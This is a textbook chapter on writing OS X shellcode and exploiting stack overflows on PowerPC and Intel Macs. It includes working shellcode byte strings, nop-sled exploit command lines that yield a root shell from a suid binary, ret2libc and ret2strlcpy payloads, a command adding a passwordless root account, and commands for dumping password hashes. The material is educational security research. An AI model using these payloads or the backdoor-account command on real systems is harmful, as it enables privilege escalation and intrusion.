CHAPTER 12

OS X Shellcode

The Macintosh—and specifically OS X—is advertised as having security benefits over "the PC." For example:

> *Mac OS X delivers the highest level of security through the adoption of industry standards, open software development and wise architectural decisions. Combined, this intelligent design prevents the swarms of viruses and spyware that plague PCs these days. (from* `http://www.apple.com/macosx/features/security/`*)*

> *Mac OS X was designed for high security, so it isn't plagued by constant attacks from viruses and malware like PCs. (from* `http://www.apple.com/getamac/`*)*

While these are advertising claims and thus should be subject to a certain amount of skepticism, it is true that Apple has made good progress in terms of making the default install of OS X simple and relatively secure. It is also true, however, that OS X at the time of writing lags behind Windows and Linux in terms of exploit protection mechanisms, lacking a non-executable heap, stack cookies, and Address Space Layout Randomization (ASLR)—features enabled in Windows Vista by default and present in several common Linux distributions.

This chapter covers some basic information about the Apple OS X operating system, the basics of PowerPC and Intel shellcode on OS X, and a few "gotchas" to look out for when looking for and exploiting bugs on OS X.

OS X Is Just BSD, Right?

Er, no. Well, kind of. OS X can be thought of as a mix of the best aspects of a number of different operating systems. Just as the English language is a combination of many excellent languages, some long dead, so OS X is a combination of a great many excellent technologies, some of which have passed out of common use and some of which are brand new.

OS X bears little relation to previous versions of Mac OS. The kernel is based on both Mach and BSD and can trace its ancestry through the kernel implementation in NEXTSTEP developed at NeXT through the late 1980s and up until they were bought by Apple in 1997. OS X was first released in 1999 as Mac OS X v10.0, and at time of writing the current version is v10.4.9. It runs on PowerPC and Intel processors—though in June 2005 Apple announced that it would switch all new Macs to the Intel platform by the end of 2007.

Aside from the unique "Aqua" UI theme, OS X has a Unix feel, due in no small part to the large number of open source projects that are bundled as part of it. In terms of security measures, OS X lags a little behind Windows and Linux in terms of exploit protection—it has no stack cookie protection, no randomization of either the stack or heap, and no heap protection (although the heap implementation is a little unusual and arguably benefits in security terms because of it). There is a built-in firewall and all of the usual logging, password shadowing, and so on.

The preferred filesystem for OS X is HFS+, which is Apple's own in-house journaling filesystem, though a great many other third-party filesystems are supported.

Is OS X Open Source?

Partially. Source code for the core of OS X ("Darwin") is available at `http://www.opensource.apple.com/darwinsource/`.

This contains `xnu`, which is the Mach/BSD kernel, along with a large number of user-mode components, some of which originated at Apple and others that are external open source projects. The code can be built and constitutes an operating system in its own right.

That said, there is some controversy surrounding Apple's Open Source credentials. At the time of writing, the OpenDarwin project (hosted at `http://www.opendarwin.org/`) is shutting down, citing difficulties with "availability of sources, interaction with Apple representatives, difficulty building and tracking sources, and a lack of interest from the community" among the reasons for ending the project.

Another prominent OS X–related open source project is GNU-Darwin, which seeks to combine the power of Darwin with the range and vibrancy of the GNU community.

If you're trying to build Darwin, the DarwinBuild project is highly recommended. At the time of writing, it is hosted at `http://trac.macosforge.org/projects/darwinbuild/`.

Another useful Mac-related open source site is MacForge (`http://www.macforge.net/`), which is an index of those open source projects that will work on a Mac.

OS X for the Unix-aware

OS X is a little unsettling at first for someone used to Linux. The initial question that occurs to a long-time Unix user is, "Where is everything?"

First, here are a few quick notes about the filesystem layout.

Linux	OS X
/etc/init.d/	/Library/StartupItems or /System/Library/StartupItems
/home/	/Users/
/mnt/	/Volumes/
<core dumps>	/cores/
/proc/<pid>/maps	The vmmap tool

An important point about OS X is that several important system configuration items—such as the `/etc/password` and `/etc/shadow` equivalents—are stored in a hierarchical database known as "NetInfo." This has a few implications from the attacker's point of view. For instance, you can't just cat `/etc/shadow` to get at the password hashes.

This leads to complications with the typical "install an account" shellcode payload, because you have to use either the Directory Services API directly or one of the NetInfo command-line tools to add the account. "B-r00t," author of the whitepaper "Smashing The Mac For Fun & Profit" solves the problem of adding a `r00t` account by running a command-line like this (note the call to `niload`):

```
/bin/echo 'r00t::999:80::0:0:r00t:/:/bin/sh'|/usr/bin/niload -m passwd .
```

Password Cracking

Obviously, the files that back the NetInfo database are stored in the filesystem and can be read directly from `/private/var/db/netinfo/`, albeit with root privileges.

Versions 10.2 and prior of OS X held the hashes directly in DES format, and you could retrieve the hashes by querying NetInfo directly:

```
Apple:/private/var/db/shadow/hash root# nidump passwd .
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:********:0:0::0:0:System Administrator:/private/var/root:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
```

Version 10.3 stores the hashes in a "shadowed" format in the directory `/var/db/shadow/hash`. The hashes are stored in files that have GUIDs as their filenames. The GUIDs can be retrieved for users by running the following netinfo command:

```
nidump -r /users .
```

In 10.3 the hashes are in NT LanMan MD4 format, with a SHA1 hash tacked on the end. Version 10.4 stores the files in the same location (`/var/db/shadow/hash`) but in a salted SHA1 format.

OS X PowerPC Shellcode

So that's the background. Now, instead of explaining the PowerPC instruction set in depth, we'll just jump straight in, try a stack overflow, and see how PowerPC shellcode on the Mac differs from Intel shellcode in Linux.

Here is an example program:

```
// stack.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main( int argc, char *argv[] )
{
        char buff[ 16 ];

        if( argc <= 1 )
                return printf("Error - param expected\n");

        strcpy( (char *)buff, argv[1] );

        return 0;
}
```

We compile this using gcc, in exactly the same way as we would on Linux:

```
Apple:~/chapter_12 shellcoders$ cc stack.c -o stack
```

And run it, with a short and then a long string:

```
Apple:~/chapter_12 shellcoders$ ./stack AAAABBBB
Apple:~/chapter_12 shellcoders$ ./stack AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
```

There's no visible crash after the longer string (we'd expect a crash on an Intel processor). Let's try longer strings:

```
Apple:~/chapter_12 shellcoders$ ./stack
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL
Apple:~/chapter_12 shellcoders$ ./stack
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
Segmentation fault
```

Let's just verify that we are overwriting the saved return address:

```
Apple:~/chapter_12 shellcoders$ gdb ./stack
(gdb) set args
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
(gdb) run
Starting program: /Users/shellcoders/chapter_12/stack
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
Reading symbols for shared libraries . done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x4d4d4d4c
0x4d4d4d4c in ?? ()
```

Well, that seems clear enough; we've redirected execution, although it took a rather larger overwrite than we're used to. We'll explain why later in this section, but for now, let's get some shellcode running. One thing worth noting is the saved return address—`0x4d4d4d4c`. On the processor we're concerned with, PowerPC instructions are 32 bits in length and are aligned on a 32-bit boundary, so when we overwrite the saved return address with `0x4d4d4d4d`, the low-order two bits are ignored, and we wind up jumping to `0x4d4d4d4c`.

We'll use shellcode from B-r00t's paper "Smashing The Mac For Fun & Profit," published in 2003 (the original page is down but the paper is archived at `http://packetstormsecurity.org/shellcode/PPC_OSX_Shellcode_Assembly.pdf`). We'll look at how the code works in a little while, but for now we'll just use it.

Another thing we need is a `nop` sled. For now, all we need to know is that the instruction `0x7c631a79` is `nop`-equivalent, that is, it does nothing of relevance to our code. So what we'll do is place a large number of these instructions immediately before our shellcode, and execution will "slide" right through them, into our payload.

Recalling that execution was redirected to `MMMM`, we can jump to wherever we want by running the following command:

```
./stack $(printf "%048x\x40\x40\x40\x40")
```

That is, we pass as a command-line argument a string of 48 "0"s followed by the address we wish to jump to. The `printf` command makes this relatively straightforward because it allows us to represent addresses in hex. If we want to create a `nop` sled, we can do so by running the following command to repeat our "`nop`" instruction 40,000 times:

```
for((i=0;i<40000;i++))do printf "\x7c\x63\x1a\x79"; done;
```

Notice that here's another difference from a Linux/Intel box—we don't need to reverse the byte-order because PowerPC is big-endian.

And finally our shellcode looks like this:

```
printf
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf
f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5
4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc
0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0
d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68"
```

So we need to debug our program and guess an address somewhere in our `nop`-sled. Let's see where our first stack frame is on entering `main()`:

```
Apple:~/chapter_12 shellcoders$ gdb ./stack
 (gdb) break main
Breakpoint 1 at 0x2ad0
(gdb) run
Starting program: /Users/shellcoders/chapter_12/stack
Reading symbols for shared libraries . done

Breakpoint 1, 0x00002ad0 in main ()
(gdb) info frame 0
Stack frame at 0xbffffa80:
 pc = 0x2ad0 in main; saved pc 0x2308
```

So, not unlike Linux, our initial stack frame is at `0xbfff<nnnn>`.

Because we're writing a 160,000-byte `nop`-sled, we've got to assume our code is somewhere at a slightly lower address than that, so let's start with `0xbffa0404`. We'll lay out our command-line argument like this:

```
<padding>
<saved return address>
<nop sled>
<shellcode>
```

… which looks like this (the saved return address is in bold):

```
Apple:~/chapter_12 shellcoders$ ./stack "$(printf
"%048x\xbf\xfa\x04\x04")$(for((i=0;i<40000;i++))do printf
"\x7c\x63\x1a\x79"; done;)$(printf
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf
f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5
4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc
0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0
d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68")"
Illegal instruction
```

Oops. We try again with `\xbf\xfb\x04\x04` and then `\xbf\xfc\x04\x04`, and finally:

```
Apple:~/chapter_12 shellcoders$ ./stack "$(printf
"%048x\xbf\xfc\x04\x04")$(for((i=0;i<40000;i++))do printf
"\x7c\x63\x1a\x79"; done;)$(printf
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf
f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5
4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc
0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0
d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68")"
sh-2.05b$
```

Excellent! We have a shell. If this was a `suid` program, we should get a root-shell, so let's make it `suid` from an existing root shell:

```
Apple:/Users/shellcoders/chapter_12 root# chown root ./stack
Apple:/Users/shellcoders/chapter_12 root# chmod u+s ./stack
```

… and now run our exploit as our normal user:

```
Apple:~/chapter_12 shellcoders$ whoami
shellcoders
Apple:~/chapter_12 shellcoders$ ./stack "$(printf
"%048x\xbf\xfc\x04\x04")$(for((i=0;i<40000;i++))do printf
"\x7c\x63\x1a\x79"; done;)$(printf
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf
f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5
4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc
0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0
d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68")"
sh-2.05b# whoami
root
sh-2.05b#
```

So what have we learned? Well, OS X shellcode on the PowerPC has many similarities—at least superficially—to Linux shellcode. The stack is in a similar

location, we can overwrite an address reasonably close to the end of our stack buffer that redirects execution, and if we just substitute in some boilerplate shellcode it seems to work. Also, from the relative ease with which we can exploit this "vanilla" stack overflow, we can see that:

1. There are no stack "cookies."
2. There is no stack randomization.
3. The stack is executable.

… at least when OS X is running on the PowerPC processor.

Now let's dig a little deeper into what the code is actually doing. Take a look at B-r00t's shellcode that we just ran to get our shell:

```
0x3014 <ppcshellcode>:          xor.    r3,r3,r3
0x3018 <ppcshellcode+4>:        bnel+   0x3014 <ppcshellcode>
0x301c <ppcshellcode+8>:        li      r10,291
0x3020 <ppcshellcode+12>:       addi    r0,r10,-268
0x3024 <ppcshellcode+16>:       .long 0x44ffff02
0x3028 <ppcshellcode+20>:       ori     r0,r3,24672
0x302c <ppcshellcode+24>:       xor.    r5,r5,r5
0x3030 <ppcshellcode+28>:       mflr    r3
0x3034 <ppcshellcode+32>:       addi    r3,r3,340
0x3038 <ppcshellcode+36>:       addi    r3,r3,-268
0x303c <ppcshellcode+40>:       stw     r3,-8(r1)
0x3040 <ppcshellcode+44>:       stw     r5,-4(r1)
0x3044 <ppcshellcode+48>:       addi    r4,r1,-8
0x3048 <ppcshellcode+52>:       li      r30,327
0x304c <ppcshellcode+56>:       addi    r0,r30,-268
0x3050 <ppcshellcode+60>:       .long 0x44ffff02
0x3054 <ppcshellcode+64>:       mr      r3,r5
0x3058 <ppcshellcode+68>:       li      r30,269
0x305c <ppcshellcode+72>:       addi    r0,r30,-268
0x3060 <ppcshellcode+76>:       .long 0x44ffff02
```

This looks a little impenetrable at first, but there are a few initial things to bear in mind:

- The PowerPC has two registers commonly connected with branching instructions. The "link" register often stores the saved return address of a function, and the "count" register is often used to implement statements like the "switch" statement in C. You'll often see the instructions blr (branch to link register) and bctr (brach to count register) used in this way.
- There are 32 general-purpose registers on the PowerPC, named `r0` through `r31`.

- The `0x44ffff02` instructions are a NULL-free version of the sc (syscall) instruction and can be thought of as the equivalent of `int $0x80`.
- Where an instruction takes three arguments, the first is the destination, and the other two are the arguments, for example, `addi r0, r10, -268` adds `r10` to `-268` and stores the result in `r0`.
- When calling syscalls, the syscall number goes in `r0`. The arguments are stored in `r3` upwards.
- The instruction immediately after a syscall is called if the syscall failed. It is skipped if the syscall succeeded.

Now let's go line by line through the shellcode:

1. This sets `r3`—our first "syscall" argument to 0.

```
0x3014 <ppcshellcode>:          xor.    r3,r3,r3
```

2. This means "branch if not equal to 0x3014," with "not equal" in this case being false. A side effect is to save the currently executing address (the program counter register, $pc) in the "link register." We'll use the link register later in this shellcode.

```
0x3018 <ppcshellcode+4>:        bnel+   0x3014 <ppcshellcode>
```

3. This places the value `291` into the `r10` register.

```
0x301c <ppcshellcode+8>:        li      r10,291
```

4. This adds `-268` to the `r10` register and stores the result in `r0`. So we now have a syscall argument of 0 in `r3` and a syscall number of (291 – 268 = 23) in `r0`. Twenty-three (23) is the "`setuid`" syscall number.

```
0x3020 <ppcshellcode+12>:       addi    r0,r10,-268
```

5. We now call the syscall. The `ori` instruction is just padding. Remember that the PowerPC will execute it if the syscall fails and skip it if the syscall succeeds.

```
0x3024 <ppcshellcode+16>:       .long 0x44ffff02
0x3028 <ppcshellcode+20>:       ori     r0,r3,24672
```

6. This clears the `r5` register.

```
0x302c <ppcshellcode+24>:       xor.    r5,r5,r5
```

7. This moves the link register (saved at `0x3018`) into `r3`.

```
0x3030 <ppcshellcode+28>:       mflr    r3
```

8. This adds `340` to `r3` and puts the result in `r3`.

```
0x3034 <ppcshellcode+32>:       addi    r3,r3,340
```

9. This adds `-268` to `r3` and puts the result in `r3`. `r3` now contains (340 – 268 = 72). Seventy-two (72) is the offset from `0x3018` (where we retrieved the program counter) to the end of this shellcode, where the string "/bin/sh" is located.

```
0x3038 <ppcshellcode+36>:       addi    r3,r3,-268
```

10. This stores `r3` at `(r1)-8` (this is `argv[0]` of the `argv[]` parameter to execve).

```
0x303c <ppcshellcode+40>:       stw     r3,-8(r1)
```

11. This stores `r5` (null) at `(r1)-4` (`argv[1]`).

```
0x3040 <ppcshellcode+44>:       stw     r5,-4(r1)
```

12. This stores a pointer to argv in `r4`.

```
0x3044 <ppcshellcode+48>:       addi    r4,r1,-8
```

13. This loads `327` into `r30`.

```
0x3048 <ppcshellcode+52>:       li      r30,327
```

14. This adds `-268` to `r30` and stores in `r0` (`r0 = 327 - 268 = 59 = SYS_execve`).

```
0x304c <ppcshellcode+56>:       addi    r0,r30,-268
```

15. Call the syscall and don't worry about the result.

```
0x3050 <ppcshellcode+60>:       .long 0x44ffff02
0x3054 <ppcshellcode+64>:       mr      r3,r5
```

16. Now load `269` into `r30`.

```
0x3058 <ppcshellcode+68>:       li      r30,269
```

17. Add `-268` to `r30` and store in `r0` (`r0` = 269 – 268 = 1 = SYS_exit).

```
0x305c <ppcshellcode+72>:       addi    r0,r30,-268
```

18. Call the `exit()` syscall.

```
0x3060 <ppcshellcode+76>:       .long 0x44ffff02
```

So once we clear away the chaff, the shellcode is just calling

```
setuid(0);
execve( "/bin/sh" );
exit();
```

… which is pretty simple, really.

There are a few neat tricks here that B-r00t is using to avoid null bytes in the shellcode. The first trick is generally termed *reserved bit abuse*. This was first documented by the Last Stage of Delirium group in their paper "UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes" in July 2001. Instructions in the PowerPC family are generally 32 bits wide and contain a number of "reserved" bits, which are generally set to zero. However, for a given instruction, not all of those bits *need* to be set to zero because several of the bits play no part in the processor's mapping of bits to instructions. For instance, we use the `0x44ffff02` instruction in the preceding code to call syscalls. The actual sc instruction is `0x44000002`, but as you can see, there's no problem with us replacing the middle two null bytes with `0xff`. The same is true of the `nop` instruction `0x60000000`, which can be, for example, `0x60606060`.

The second trick is to avoid nulls when manipulating registers. Note the frequent use of an instruction adding –268 to a register. This is so that we never set or add a value of less than 256 in a register—to ensure that both of the "immediate" bytes in the instruction have some bits set. If we were to just `addi r3,r3,28`, for example, we'd end up with an instruction like `0x3863001c`—with a null byte.

A more advanced PowerPC shellcoding topic was covered in H.D. Moore's excellent article "Mac OS X PPC Shellcode Tricks" in the equally excellent "uninformed" journal (`http://www.uninformed.org/?v=1&a=1&t=pdf`). Moore notes that there is a problem concerning writing decoders for the PowerPC platform, due to the behavior of the PowerPC Instruction Cache. If executable code is modified in memory and then executed (as is the case when writing a decoder), there is no guarantee that the modified version of the code will be executed—the cached version might still be present. The solution to this is to invalidate each block of memory from the data cache (using the "dbcf" instruction), wait for the invalidation to complete, then flush the instruction cache for

that block using the "icbi" instruction, and finally execute the "isync" instruction before executing the code. Moore goes on to present the cache-safe decoder included with the metasploit framework, which is based on Dino Dai Zovi's decoder.

To summarize, if you're serious about your shellcode (and hey, you're reading this book, so you should be) then PowerPC shellcode is worth knowing a little bit about. The idea of this lightning-quick tour has been to point out a few of the "gotchas" and hopefully to enable you to find your way around OS X PowerPC shellcode a little more easily. As time goes on—if Apple holds to its Intel commitment—PowerPC Macs should become less and less common. But a lot of OS X PowerPC boxes are still out there, and you're quite likely to come across them if you're auditing a large network. If you do come across one, it's helpful to be able to code up a proof-of-concept exploit for yourself, if there's no public code available. Hopefully you have a reasonable chance of being able to do that now, so let's move on to a more current subject—OS X shellcode on the Intel platform.

OS X Intel Shellcode

In June 2005 Apple announced that it would transition all new Macs to using Intel processors by the end of 2007. At the time of writing, Apple has achieved this goal, and all new Macs have Intel processors. So clearly writing shellcode for OS X on the Intel platform is an important subject. You could be forgiven for thinking that we're on familiar ground with Intel shellcode on OS X, but there are still a few things to bear in mind.

Some top-level tips for writing Intel OS X shellcode are as follows:

- **Don't forget that you can't execute code on the stack (but you can on the heap!).** Apple has made use of the memory page protection feature of recent Intel chips and has implemented a non-executable stack—but not a non-executable heap. There is at present no stack or heap randomization, no stack cookies, and no binary or segment randomization. It's important to remember that you can't just jump straight into your code on the stack anymore because a lot of example exploit code does just that—and if you're trying to port an existing exploit to OS X on Intel, this will be a problem. We'll talk about how to overcome the problem a little later in this chapter.
- **Syscall calling convention:** `int 0x80`**.** Push parameters in right-to-left order and add a dummy return address after the last parameter, because there's a BSD-style dummy return address.

- You can use `int 0x80` to call syscalls. Parameters to the syscall are pushed onto the stack in reverse order from right to left, and the syscall number itself is stored in eax. It's important to remember that OS X expects there to be an "extra" 32-bit value on the stack. The reasoning behind this is that apparently syscalls are usually invoked by calling a stub like this:

```
do_syscall:
   int $0x80
   ret
```

- This obviously leaves the saved return address of the caller on the stack, on top of the parameters—so the `syscall` mechanism ignores the first 32-bit value on the stack. You may prefer to write your shellcode by including a similar function to the one just shown. Then you can just ignore this quirk and call `do_syscall` rather than doing a (`push`; `int $0x80`; `pop`). The downside is there's no "short relative call" instruction on the x86, so you're likely to wind up with a 5-byte call instruction. Or you could store the address of the stub somewhere and call it via a register. You're likely to have to save/restore the register though. Or you could do what most folks do and just do an extra push/pop. Regardless of how you deal with it, if you're used to shellcoding on Linux, this quirk can be exceptionally confusing.
- **Use ktrace/kdump for debugging.** ktrace and kdump are invaluable programming aids—especially ktrace's ability to follow descendent processes using the `-di` option. ktrace will essentially provide you with a list of all of the syscalls called by your target program(s), along with their arguments. Obviously when you're writing shellcode that involves more than just a few syscalls, this is an excellent tool.
- **Don't forget to `setuid(0)`.** This will attempt to (re)gain root access if the exploited program is running as another user having previously run as root.
- `execve()` **fails if the application has more than one thread.** This is another interesting quirk of OS X shellcode—if an application has multiple threads, your code must do something like calling `fork()` in order to successfully call `execve()`. Of course, if you call `fork()`, you need to be sure that the parent process behaves correctly—in some cases, if the parent process `exit()`s, it can cause problems. So you might need to call `wait4()` as well. And it's probably a good idea to call `setuid(0)`, too, just in case. So our final list of syscalls is `setuid(0)`, `fork()`, `wait4()`, `execve()`, and `exit()` for a general-purpose shellcode.

Example Shellcode

An example Intel `execve()` shellcode that does all this is as follows:

```
    jmp start
do_exit:
    xor     eax, eax
    push    eax
    inc     eax
    push    eax
    int     0x80   // exit(0)
start:
    xor     eax, eax
    push    eax
    push    eax
    mov     al, 23
    int     0x80   // setuid(0)
    pop     eax
    inc     eax
    inc     eax
    int     0x80   // fork()
    pop     ebx
    push    eax
    push    ebx
    push    ebx
    push    ebx
    push    eax
    xor     eax, eax
    mov     al,7
    push    eax
    int     0x80   // wait4( child ) - fails in child
    pop     ebx
    pop     ebx
    cmp     ebx, eax
    je      do_exit
do_sh:
    xor     eax,eax
    push    eax
    push    0x68732f2f
    push    0x6e69622f
    mov     ebx, esp
    push    eax
    push    esp
    push    esp
    push    ebx
    mov     al, 0x3b
    push    eax
    int     0x80   // execve( '/bin//sh' )
```

Or, if you prefer:

```
"\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x5
8\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5
b\x5b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
e\x8b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80"
```

ret2libc

So, how do we get around this non-executable stack, then? We'll see a wide variety of techniques in Chapter 14 but until then, let's try out a few simple alternatives. First, we can try ret2libc. The idea behind this technique—as described in Chapter 2—is that instead of returning to our shellcode, we simply return to a function, say, `system()`, in a library whose location we can guess.

We'll use our standard `stack.c` program described in the PowerPC section previously as our victim, with a slight modification to make things easier:

```
// stack.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main( int argc, char *argv[] )
{
        char buff[ 16 ];

        printf("buff: 0x%08x\n", buff );

        if( argc <= 1 )
                return printf("Error - param expected\n");

        strcpy( (char *)buff, argv[1] );

        return 0;
}
```

Running it, we get:

```
macbook:~/chapter_12 shellcoders$ ./stack $(printf
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO")
buff: 0xbffffc00
Segmentation fault
macbook:~/chapter_12 shellcoders$ gdb ./stack
(gdb) set args  $(printf
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO")
(gdb) run
```

```
Starting program: /Users/shellcoders/chapter_12/stack $(printf
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO")
Reading symbols for shared libraries . done
buff: 0xbffffb10

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x48484848
0x48484848 in ?? ()
```

So we're overwriting the saved return address with `HHHH`. It's important to note here that the address of `buff` is changing when it's being debugged. If you're trying this at home, bear in mind that things will shift a little, due to differences in the environment. The address of `buff` *will* be consistent between executions of the program with the same environment, however.

If we now get the address of `system`:

```
(gdb) info func system
All functions matching regular expression "system":

Non-debugging symbols:
0x90046ff0  system
0x900bd450  new_system_shared_regions
0x9012ddc8  svcerr_systemerr
```

we now need to set up the stack so that it looks like this:

↑ Lower addresses

```
Saved return address                                    system()
Ret after system()                                   <whatever>
Argument to system()                    Address of '/bin/sh'
Argument                                              /bin/sh
```

↓ Higher addresses

So the only other thing we need to know is where `'/bin/sh'` will end up in memory if we put it at the end of our string. Because we're helpfully printing out the address of `buff`:

```
macbook:~/chapter_12 shellcoders$ ./stack $(printf
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO")
buff: 0xbffffc00
```

we can just compose our string as shown previously, adding `0x28` to the address of buff that got printed:

```
macbook:~/chapter_12 shellcoders$ ./stack $(printf
"AAAABBBBCCCCDDDDEEEEFFFFGGGG\xf0\x6f\x04\x90AAAA\x28\xfc\xff\xbf///////
//////////bin/sh")
```

```
buff: 0xbfffc00
sh-2.05b$ id
uid=502(shellcoders) gid=502(shellcoders) groups=502(shellcoders)
sh-2.05b$ exit
exit
Segmentation fault
macbook:~/chapter_12 shellcoders$
```

So we get our shell. We also get a trailing segmentation fault because we're lazy and return to `0x41414141`. We should probably neaten this up and return to `exit()` or similar.

ret2str(l)cpy

So, we've shown that ret2libc works. What about a slightly more elaborate method where we execute shellcode of our choice? There's another ret2libc-style attack that allows this, called ret2strcpy. The idea—as you might guess from the name—is to return into `strcpy`, passing the address of your shellcode on the (non-executable) stack as the "`src`" argument and passing an address on the (executable) heap as your "`dest`".

```
char *strcpy(char * dst, const char * src);
```

The stack should look like this:

↑ Lower addresses

```
Saved return address                          Address of strcpy()
Ret after strcpy()                               Address on heap
Dest Argument to strcpy()                        Address on heap
Src Argument to strcpy()          Address of our shellcode on stack
<shellcode>
```

↓ Higher addresses

There's a slight wrinkle in our plan in that it turns out the address of `strcpy()` has a null byte in it:

```
(gdb) info func strcpy
0x90002540  strcpy
```

… so we'll just use strlcpy instead:

```
(gdb) info func strlcpy
0x900338f0  strlcpy
```

strlcpy looks like this:

```
size_t strlcpy(char *dst, const char *src, size_t size);
```

The only modification we need to make is that we need to put the third parameter to `strlcpy`—the maximum bytes to copy—onto the stack after the `src` argument, so our layout becomes:

↑ Lower addresses

```
Saved return address                                    Strlcpy()
Ret after strcpy()                                   Address on heap
Dest Argument to strcpy()                            Address on heap
Src Argument to strcpy()          Address of our shellcode on stack
Size argument to strlcpy                                0x01010101
<shellcode>
```

↓ Higher addresses

Note that the `size` argument is the maximum number of bytes to copy. Because we'll only be copying a few dozen bytes, it doesn't matter what we set it to. I've chosen the smallest non-null value, `0x01010101`.

We also need to pick a heap address that's suitable (that is, has no nulls). Examining the output of `vmmap` on `stack` we see:

```
MALLOC 01800000-02008000 [ 8224K] rw-/rwx SM=PRV
DefaultMallocZone_0x300000
```

So the address `0x01810101` should be fine.

As noted previously, our shellcode looks like this:

```
"\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x5
8\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5
b\x5b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
e\x8b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80"
```

And we might as well put some `nops` at the start, just to make things easier. So our final layout will be

```
./stack <padding><strlcpy><heap><heap><shellcode address><size arg>
<shellcode>
```

Or:

```
macbook:~/chapter_12 shellcoders$ ./stack $(printf
"AAAABBBBCCCCDDDDEEEEFFFFGGGG\xf0\x38\x03\x90\x01\x01\x81\x01\x01\x01\x8
1\x01\xc0\xfb\xff\xbf\x01\x01\x01\x01\x90\x90\x90\x90\x90\x90\x90\x90\xe
```

```
b\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x58\x4
0\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5b\x5
b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8
b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80")
buff: 0xbffffb90
macbook:/Users/shellcoders/chapter_12 shellcoders$ id
uid=502(shellcoders) gid=502(shellcoders) groups=502(shellcoders)
macbook:/Users/shellcoders/chapter_12 shellcoders$ exit
exit
macbook:~/chapter_12 shellcoders$
```

The relevant addresses and arguments are called out in bold. Bear in mind that because the Intel chips are little-endian, each four-byte DWORD appears in reverse-byte order, so `0x900338f0` becomes `\xf0\x38\x03\x90`. The addresses are:

`0x900338f0`—strlcpy
`0x01810101`—Our heap address (times 2)
